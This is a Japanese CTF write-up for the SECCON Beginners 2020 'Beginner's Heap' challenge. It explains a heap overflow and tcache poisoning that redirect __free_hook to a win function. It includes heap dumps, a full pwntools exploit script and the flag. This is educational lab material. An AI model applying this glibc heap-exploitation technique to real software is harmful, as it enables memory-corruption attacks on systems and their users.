1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[pwn] Beginner's Heap (SECCON Beginners CTF 2020) writeup

Last updated at Posted at 2024-12-16

  • Source: Seccon Beginners CTF 2020
  • Author: ptr-yudai

配布ファイルはない。接続するとインターフェースが表示される。win関数を呼び出せば良いらしい。

$ nc localhost 9002
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7f35616e68e8
 <win>: 0x562194c01465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
>

A,Bへの書き込みとBのfreeが可能。また、現在のheapとtcacheの状態を確認できる。ヒントまで教えてくれるらしい。すごい。

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x5621c6c8b330
 [+] B = (nil)

                   +--------------------+
0x00005621c6c8b320 | 0x0000000000000000 |
                   +--------------------+
0x00005621c6c8b328 | 0x0000000000000021 |
                   +--------------------+
0x00005621c6c8b330 | 0x0000000000000a61 | <-- A
                   +--------------------+
0x00005621c6c8b338 | 0x0000000000000000 |
                   +--------------------+
0x00005621c6c8b340 | 0x0000000000000000 |
                   +--------------------+
0x00005621c6c8b348 | 0x0000000000020cc1 |
                   +--------------------+
0x00005621c6c8b350 | 0x0000000000000000 |
                   +--------------------+
0x00005621c6c8b358 | 0x0000000000000000 |
                   +--------------------+
0x00005621c6c8b360 | 0x0000000000000000 |
                   +--------------------+
0x00005621c6c8b368 | 0x0000000000000000 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Aへの書き込みではサイズ0x18のメモリを確保しているが、サイズ0x80の書き込みが可能なので自明なheap overflowがある。これを用いてwin関数を呼び出したい。

BへAAAAAAAAを書き込んだ後のheapの状態はこうなっている。

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x5606d2447330
 [+] B = 0x5606d2447350

                   +--------------------+
0x00005606d2447320 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447328 | 0x0000000000000021 |
                   +--------------------+
0x00005606d2447330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x00005606d2447338 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447340 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447348 | 0x0000000000000021 |
                   +--------------------+
0x00005606d2447350 | 0x4141414141414141 | <-- B
                   +--------------------+
0x00005606d2447358 | 0x000000000000000a |
                   +--------------------+
0x00005606d2447360 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Bの直前の値が0x21に、0x00005606d2447368の値が0x20ca1に変化している。続いてBをfreeしてみる。この0x21はヒープのチャンクサイズを表している。

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x5606d2447330
 [+] B = (nil)

                   +--------------------+
0x00005606d2447320 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447328 | 0x0000000000000021 |
                   +--------------------+
0x00005606d2447330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x00005606d2447338 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447340 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447348 | 0x0000000000000021 |
                   +--------------------+
0x00005606d2447350 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447358 | 0x00005606d2447010 |
                   +--------------------+
0x00005606d2447360 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

最初の状態に戻っておらず、0x00005606d2447358に何か保存されている。ここでtcacheを見てみる。

-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x000055def00b7350(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

0x00005606d2447358へ繋がっている。tcacheはfree listの一部(他にfastbinやunsorted binというものもあるが、mallocで一番最初に呼ばれるのはこのtcache binになる)で、一度freeしたチャンクの情報をキャッシュしているらしい。このあたりはあまり理解できていないがこのサイトが詳しかった。

tcacheをheap overflowを用いて__free_hookのアドレスに書き換えてみる。__free_hookはhooksの一つで、freeした時に呼び出される。

一旦ここまでのscriptを書く。

from pwn import *

context.log_level = "debug" 

p = remote("localhost", 9002)

p.recvuntil("<__free_hook>: ")
free_hook = int(p.recvline().strip(), 16)
p.recvuntil("<win>: ")
win = int(p.recvline().strip(), 16)

# malloc and free
p.sendlineafter(">", "2")
p.sendline(b"A"*8)
p.sendlineafter(">", "3")

# heap overflow
p.sendlineafter(">", "1")
p.sendline(b"A"*0x18 + p64(0x28) + p64(free_hook))

p.sendlineafter(">", "5")
print(p.recvall())

単純にAをoverflowさせるとBのチャンクサイズも壊れてしまうため、ヒントを見ながら良さげな値に調整する。0x28にするとIt seems __free_hook is successfully linked to tcache!\nAnd the chunk size is properly forged!\nと言われた。

さて、この時点でtcacheの値はこうなっている。実行の度にアドレスの正確な値は変わるが、さっきのtcacheの末端に相当する0x000055dc296dd350を上書きしたことで、tcacheが__free_hookを示す0x00007fe507f5a8e8へ繋がっている。

    b'-=-=-=-=-= TCACHE -=-=-=-=-=\n'
    b'[    tcache (for 0x20)    ]\n'
    b'        ||\n'
    b'        \\/\n'
    b'[ 0x000055dc296dd350(rw-) ]\n'
    b'        ||\n'
    b'        \\/\n'
    b'[ 0x00007fe507f5a8e8(rw-) ]\n'
    b'        ||\n'
    b'        \\/\n'
    b'[      END OF TCACHE      ]\n'
    b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n'

この状態で再度Bをmalloc、freeするとtcacheから1つpopし、tcacheの先頭は__free_hookになる…と思ったが、free(): invalid sizeと言われてしまった。Bの上書きしたチャンクサイズを0x28から0x30に変えてみる。

tcacheの先頭に__free_hookがいる。

    b'-=-=-=-=-= TCACHE -=-=-=-=-=\n'
    b'[    tcache (for 0x20)    ]\n'
    b'        ||\n'
    b'        \\/\n'
    b'[ 0x00007f77934308e8(rw-) ]\n'
    b'        ||\n'
    b'        \\/\n'
    b'[      END OF TCACHE      ]\n'
    b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n'

これで次にfreeした時に__free_hookが呼び出される。ここでB(実際は__free_hookの指し示す先)へwin関数のアドレスを書き込んでfreeするとwin関数が呼び出される。

最終的なsolverはこうなる。

from pwn import *

context.log_level = "debug" 

p = remote("localhost", 9002)

p.recvuntil("<__free_hook>: ")
free_hook = int(p.recvline().strip(), 16)
p.recvuntil("<win>: ")
win = int(p.recvline().strip(), 16)

# malloc and free
p.sendlineafter(">", "2")
p.sendline(b"A"*8)
p.sendlineafter(">", "3")

# heap overflow
p.sendlineafter(">", "1")
p.sendline(b"A"*0x18 + p64(0x30) + p64(free_hook))

# malloc and free
p.sendlineafter(">", "2")
p.sendline(b"A"*8)
p.sendlineafter(">", "3")

# call win
p.sendlineafter(">", "2")
p.sendline(p64(win))
p.sendlineafter(">", "3")

# print flag
p.recvuntil(">")
print(p.recvall())

flagが得られた。
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?